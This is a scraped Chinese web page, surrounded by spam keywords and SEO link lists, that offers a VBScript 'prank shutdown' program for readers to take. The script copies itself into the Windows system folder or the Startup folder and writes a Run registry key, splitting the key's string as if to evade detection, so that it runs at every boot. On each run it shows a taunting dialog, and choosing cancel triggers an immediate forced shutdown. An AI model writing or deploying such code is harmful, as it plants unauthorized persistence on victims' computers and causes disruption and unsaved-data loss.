婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > vb下的惡搞關機程序

vb下的惡搞關機程序

熱門標簽:地圖標注政府哪個部門管 佛山真人電銷機器人廠家 哪里有便宜的地圖標注公司 東營快遞外呼系統 齊齊哈爾高德地圖標注店 除了地圖標注還有這種生意嗎 神行者美術館地圖標注 如何用機器人進行電銷 百度地圖標注點距離代碼

額,不多介紹了,能看懂的就拿走,看不懂的拿走也沒用。

復制代碼 代碼如下:

Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK""LM\SOFT""WARE\Micr""osoft\Win""dows\Curren""tVersion\R""un\wxb"
if (fs.FileExists(dirwin"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
 else
c.Copy(dirwin"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:請不要隨便動我的電腦! " Chr(13) Chr(10) "確定->下次一定會先征求同意的" Chr(10) "取消->愛咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then 
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin"\wxb.vbs")
f.Delete()
end if 
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

好了,代碼分享給大家了,不要隨便拿去搞破壞!

您可能感興趣的文章:
  • 可以定時自動關機的vbs腳本
  • 自己寫的一個定時關機或重啟的vbs腳本
  • vbs實現的定時關機、重啟的腳本和程序
  • vbs實現的eMule電驢自動關機腳本代碼
  • VBS 斷網后自動關機30秒后
  • Crack8 VBS整人腳本 你不說你愛我 就關機
  • VBS中獲取系統本次及上次開關機時間的代碼(WinXP/win2003/Win7兼容版)
  • VB關機惡搞小程序

標簽:湖州 鶴壁 邢臺 西安 文山 四平 銅川 海口

巨人網絡通訊聲明:本文標題《vb下的惡搞關機程序》,本文關鍵詞  下,的,惡搞,關機,程序,下,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《vb下的惡搞關機程序》相關的同類信息!
  • 本頁收集關于vb下的惡搞關機程序的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 保定市| 宜兴市| 乳山市| 仙居县| 旌德县| 成安县| 方山县| 页游| 囊谦县| 洛宁县| 江门市| 石台县| 洛南县| 邵阳市| 常州市| 潢川县| 永昌县| 塔城市| 东丽区| 孟津县| 贡觉县| 巴马| 栾城县| 平陆县| 邮箱| 二连浩特市| 陆丰市| 宜丰县| 呼玛县| 简阳市| 铜山县| 东莞市| 高尔夫| 蕲春县| 油尖旺区| 嘉善县| 阿拉善左旗| 辽宁省| 白城市| 神木县| 黑水县|